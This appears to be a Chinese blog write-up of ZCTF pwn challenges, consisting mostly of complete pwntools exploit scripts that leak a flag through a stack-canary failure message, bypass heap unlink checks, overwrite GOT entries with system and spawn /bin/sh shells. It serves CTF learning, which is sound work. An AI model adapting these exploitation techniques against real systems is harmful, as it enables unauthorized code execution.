版权声明:本文为博主原创文章,未经博主允许不得转载。

  最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结。

文件打包:http://files.cnblogs.com/files/wangaohui/attach.zip

Pwn100

很明显栈溢出,但是有canary保护。但是明显的是flag已经被读入了内存。在网上找到了dragonsector写的一个pdf,知道了当__stack_check_fail时,会打印出正在运行中程序的名称,如下:

所以,我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来。POC:

 from pwn import *
#context.log_level = 'debug'
s = remote('115.28.206.86',22222)
s.recvuntil('please guess the flag:')
payload='ZCTF{'+'A'*(32-5) + '\x00' + 'a'*263 + p64(0x6010C5)
s.sendline(payload)
s.recvuntil('***: ')
flagt = s.recvuntil('\n')[:27]
flag = 'ZCTF{'
for i in flagt:
flag += chr(ord(i)^ord('A'))
print flag
s.close()

Pwn200-note1

 from pwn import *
#context.log_level = 'debug'
io = remote('127.0.0.1',10001)
def new(title, typ, content):
io.recvuntil('Enter the title:')
io.sendline(title)
io.recvuntil('Enter the type:')
io.sendline(typ)
io.recvuntil('Enter the content:')
io.sendline(content)
def show():
io.recvuntil('content=')
io.recvuntil('\n')
io.recvuntil('title=')
leak = io.recvuntil(',')
printfaddr = u64(leak)
print hex(printfaddr)
def edit(title, newc):
io.recvuntil('Input the note title:')
io.sendline(title)
io.recvuntil('Enter the new content:')
io.sendline(newc)
io.recvuntil('Modify success')
def delete(title):
io.recvuntil('Input the note title:')
io.sendline(title)
io.recvuntil('Delete success')
def pwn():
libcstartoff = 0x21A50
systemoff = 0x414F0
io.recvuntil('option--->>')
io.sendline('')
new('','aaa','a1a1')
io.recvuntil('option--->>')
io.sendline('')
new('','aaa','a1a1')
io.recvuntil('option--->>')
io.sendline('')
new('','aaa','a1a1') payload = 'a'*0x100 + p64(0) + p64(0x171) + p64(0x0) + p64(0x602040-0x70) + '' #p64(0x602018)
io.recvuntil('option--->>')
io.sendline('')
edit('', payload) io.recvuntil('option--->>')
io.sendline('')
io.recvuntil('content=')
io.recvuntil('\n')
io.recvuntil('content=')
io.recvuntil('\n')
io.recvuntil('content=')
libcstart = io.recvuntil('\n')[:-1].ljust(8,'\x00')
numlibcstart = u64(libcstart)
print 'leaked libc_start_main addr is %x' % numlibcstart
numsys = numlibcstart - libcstartoff + systemoff io.recvuntil('option--->>')
io.sendline('')
edit('', 'a'*40+p64(numsys)) io.recvuntil('option--->>')
io.sendline('/bin/sh;')
io.interactive()
pwn()

Pwn400-note2

 from pwn import *
import time
#context.log_level = 'debug'
def new(s,length,content):
s.sendline('')
s.recvuntil('(less than 128)')
s.sendline(str(length))
s.recvuntil('Input the note content:')
s.sendline(content)
def edit(s,idf,c,content):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('[1.overwrite/2.append]')
s.sendline(str(c))
s.sendline(content)
def dele(s,idf):
s.sendline('')
s.sendline(str(idf))
s.recvuntil('delete note success!')
def infoleak(s,idf):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('Content is ')
return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note2')[0])
raw_input('go!')
s.recvuntil('Input your name:')
s.sendline('wah')
s.recvuntil('Input your address:')
s.sendline('ucas')
s.recvuntil('option--->>') globalptr = 0x602120
fakefd = globalptr - 0x18
fakebk = globalptr - 0x10
content = 'a'*8
content += p64(0x91)
content += p64(fakefd)
content += p64(fakebk)
new(s,0x80,content)
s.recvuntil('option--->>')
new(s,0x0,'a'*8)
s.recvuntil('option--->>')
new(s,0x80,'b'*8)
s.recvuntil('option--->>')
dele(s,1)
s.recvuntil('option--->>') content = 'b'*0x10
content += p64(0xa0)
content += p64(0x90)
new(s,0x0,content)
s.recvuntil('option--->>')
dele(s,2)
s.recvuntil('option--->>')
content = 'a'*0x18 + p64(0x602088)
edit(s,0,1,content)
s.recvuntil('option--->>') atoiaddr = infoleak(s,0)
s.recvuntil('option--->>')
print 'atoi address is ' + hex(atoiaddr)
systemaddr = atoiaddr - 0x36360 + 0x414F0
print 'system address is ' + hex(systemaddr)
content = p64(systemaddr)
edit(s,0,1,content)
s.recvuntil('option--->>')
s.sendline('/bin/sh')
s.interactive()
s.close()

Pwn300-note3

 from pwn import *
import time
#context.log_level = 'debug'
def new(s,length,content):
s.sendline('')
s.recvuntil('(less than 1024)')
s.sendline(str(length))
s.recvuntil('Input the note content:')
s.sendline(content)
def edit(s,idf,content):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('Input the new content:')
s.sendline(content)
def dele(s,idf):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('Delete success')
def infoleak(s,idf):
s.sendline('')
s.recvuntil('Input the id of the note:\n')
s.sendline(str(idf))
time.sleep(1)
return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note3')[0])
raw_input('go!')
s.recvuntil('option--->>') globalptr = 0x6020C8
fakefd = globalptr - 0x18
fakebk = globalptr - 0x10
content = 'a'*8
content += p64(0x91)
content += p64(fakefd)
content += p64(fakebk)
new(s,0x80,content)
s.recvuntil('option--->>')
new(s,0x0,'a'*8)
s.recvuntil('option--->>')
new(s,0x80,'b'*8)
s.recvuntil('option--->>')
dele(s,1)
s.recvuntil('option--->>') content = 'b'*0x10
content += p64(0xa0)
content += p64(0x90)
new(s,0x0,content)
s.recvuntil('option--->>')
dele(s,2)
s.recvuntil('option--->>')
content = 'a'*0x18 + p64(0x602018) + p64(0x602020) + p64(0x602070)
edit(s,0,content)
s.recvuntil('option--->>')
content = p64(0x400736)[:-1]
edit(s,0,content)
s.recvuntil('option--->>') putsaddr = infoleak(s,1)
s.recvuntil('option--->>')
print 'puts address is ' + hex(putsaddr)
systemaddr = putsaddr - 0x6B9F0 + 0x414F0
print 'system address is ' + hex(systemaddr)
content = p64(systemaddr)
edit(s,2,content)
s.recvuntil('option--->>')
s.sendline('/bin/sh')
s.interactive()
s.close()

加深了对堆溢出的理解,linux下free时的unlink操作由于有check,并不能达到任意地址写,为了绕过check,能将变量ptr改为&ptr-0x18(64位系统下),&ptr-0xc(32位系统下)。也学到了一个新的泄漏内存的方法,就是如果能达到任意地址写的话,可以将某个.got.plt项(记为函数A)修改为puts在.plt的位置,这样在调用A时,就能调用puts函数造成信息泄露。Note2和note3都是整数溢出+堆溢出(fastbin+dwshoot)。

ZCTF-Pwn的更多相关文章

  1. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  2. ZCTF2015 pwn试题分析

    ZCTF的pwn赛题分析, PWN100 这道题与SCTF的pwn100玩法是一样的,区别在于这个要过前面的几个限制条件.不能触发exit(0).否则就不能实现溢出了. 依然是触发canary来lea ...

  3. 2016 ZCTF note3:一种新解法

    2016 ZCTF note3:一种新解法 最近在学习unlink做到了这道题,网上有两种做法:一种是利用edit功能读入id时整数溢出使索引为-1,一种是设置块大小为0使得写入时利用整数溢出漏洞可以 ...

  4. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  5. i春秋30强挑战赛pwn解题过程

    80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...

  6. SSCTF Final PWN

    比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...

  7. pwn学习(1)

    0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...

  8. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  9. pwn学习之三

    whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...

  10. pwn学习之二

    刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...

随机推荐

  1. Linux系统下定时上传文件至FTP服务器脚本

    环境:Red Hat Enterprise Linux Server release 6.4 需求:需要将Oracle数据库的定时备份上传至FTP服务器 1.干货,用户名:oracle,数据库名称:X ...

  2. hdu 5465 Clarke and puzzle(前缀和,异或,nim博弈)

    Problem Description Clarke is a patient with multiple personality disorder. One day, Clarke split in ...

  3. Unity 音乐播放全局类

    今天晚了LOL, 发现里面的声音系统做得很不错,于是最近就写了一份反正以后也用的到,2D音乐全局播放. 项目跟PoolManager对象池插件结合了. 解决的问题: 1. 已经播放的声音,可以马上暂停 ...

  4. java面试题集2

    JAVA面试题-CORE JAVA部分          1.  在main(String[] args)方法内是否可以调用一个非静态方法? 答案:不能 2.  同一个文件里是否可以有两个public ...

  5. tomcat web项目部署方式

    1.利用MyEclipse的部署部工具部署项目,可以直接部署成文件形式,这样当启动tomcat后可以直接访问 2.利用MyEclipse部署工具部署war形式,点击发布选择tomcat时可以选择该项 ...

  6. 关于 jsp:include 传参的用法

    引用模版页面的代码,如下: <jsp:include page="/WEB-INF/template/nav_template.jsp">     <jsp:pa ...

  7. 基于.Net的单点登录(SSO)解决方案

    前些天一位朋友要我帮忙做一单点登录,其实这个概念早已耳熟能详,但实际应用很少,难得最近轻闲,于是决定通过本文来详细描述一个SSO解决方案,希望对大家有所帮助.SSO的解决方案很多,但搜索结果令人大失所 ...

  8. What is SignalR and Why Should I Use It?

    原文地址: What is SignalR and why should I use it? When I first heard about SignalR, I was not sure what ...

  9. GPS数据处理 - 字符串函数的灵活应用

    题目内容: NMEA- 0183协议是为了在不同的GPS(全球定位系统)导航设备中建立统一的BTCM(海事无线电技术委员会)标准,由美国国家海洋电子协会(NMEA- The National Mari ...

  10. Enormous Input Test Solved Problem code: INTEST

    import sys import psyco #一键优化库 psyco.full() def main(): n, k = map(int, sys.stdin.readline().strip() ...